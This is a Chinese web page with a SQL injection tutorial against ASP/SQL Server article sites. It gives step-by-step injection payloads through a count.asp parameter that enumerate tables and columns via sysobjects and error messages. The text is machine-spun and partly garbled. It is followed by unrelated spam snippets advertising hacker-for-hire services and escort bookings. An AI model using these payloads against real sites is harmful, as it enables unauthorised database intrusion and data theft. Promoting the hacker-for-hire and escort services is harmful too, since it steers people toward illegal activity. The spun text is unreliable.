人人在是否碰到过这样的站点:
全站文章系统接纳FSO静态天生的HTML文件来显示。这样做的利益一来可以减轻服务器肩负,提高接见速率。二来也阻止了SQL注入式的攻击。。
我来说说他们的文章系统原理:所有文章均在数据库存有一个副本。另处凭据模板天生一个HTML页面。
攻击方式:
查看源文件/看内里是否有通过 *** 来挪用的页面。
如挪用来更新文章的浏览次数。
我们就可以这样来试一下能否注入:
http://服务器域名/count.asp?id=1552’
看一下是否失足。如失足说明有注入破绽。然后正常攻击。
在本机确立一下post.htm的文件和log.txt的文本文件(用来记任命,这是一个好习惯)
post.htm内容:主要是利便输入。
对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER
对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--
然后插入一条纪录:id=1552;insert into aaa values(’test’);--
再之后枚举出他的数据表名:
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0);--
这是将之一个表名更新到aaa的字段处。
id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情形会将表名直接读出:看:
Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’
将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。
/search.asp,行21
其中vote就是表名:
也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到谁人表的一条纪录中去。通过网页显示。
读出之一个表,第二个表可以这样读出来(在条件后加上 and name<>’适才获得的表名’)。
id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status>0 and name<>’vote’);--
然后id=1552 and exists(select * from aaa where aaa>5)
读出第二个表,^^^^^^一个个的读出,直到没有为止。
读字段是这样:
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--
然后id=1552 and exists(select * from aaa where aaa>5)失足,获得字段名
id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--
然后id=1552 and exists(select * from aaa where aaa>5)失足,获得字段名
黑客能攻击赌博app服务器吗(tiechemo.com)一直致力于黑客(HACK)技术、黑客QQ群、信息安全、web安全、渗透运维、黑客工具、找黑客、黑客联系方式、24小时在线网络黑客、黑客业务、黑客...
黑客技术,曾经被认为是高端的技术,专家的专有领域,但随着技术的发展和移动技术以及移动安全领域的进步,黑客技术和黑客恐惧已经变得越来越普遍。 随着人们的生活和工作越来越依赖于智能手机和其它的便携...
本文导读目录: 1、世界黑客排名是怎样的? 2、世界上最顶尖的黑客能厉害到什么程度 3、现在世界十大黑客组织是? 4、世界最大的黑客组织 5、世界黑客排名? 6、世界上最强的黑客团...
成都高端小学妹商务小学妹在线预约上门流程方式价格【吕乐】,上海是一座成功人士的聚集地,对商业模特的需求也是比较大的,今天明星商务分享模特访梦,年龄苏州 女 30,婚姻:未婚,学历:高中,气质:成都高端...
我国第一起黑客入侵事件(我国食品安全事件)(tiechemo.com)一直致力于黑客(HACK)技术、黑客QQ群、信息安全、web安全、渗透运维、黑客工具、找黑客、黑客联系方式、24小时在线网络黑客、...
本文导读目录: 1、脸书将删除超过10亿用户的个人面部识别范本,脸书为什么要这么做? 2、facebook中国能用吗 3、超5亿脸书用户信息遭泄露,包括扎克伯格自己,你怎么看? 4、黑客攻...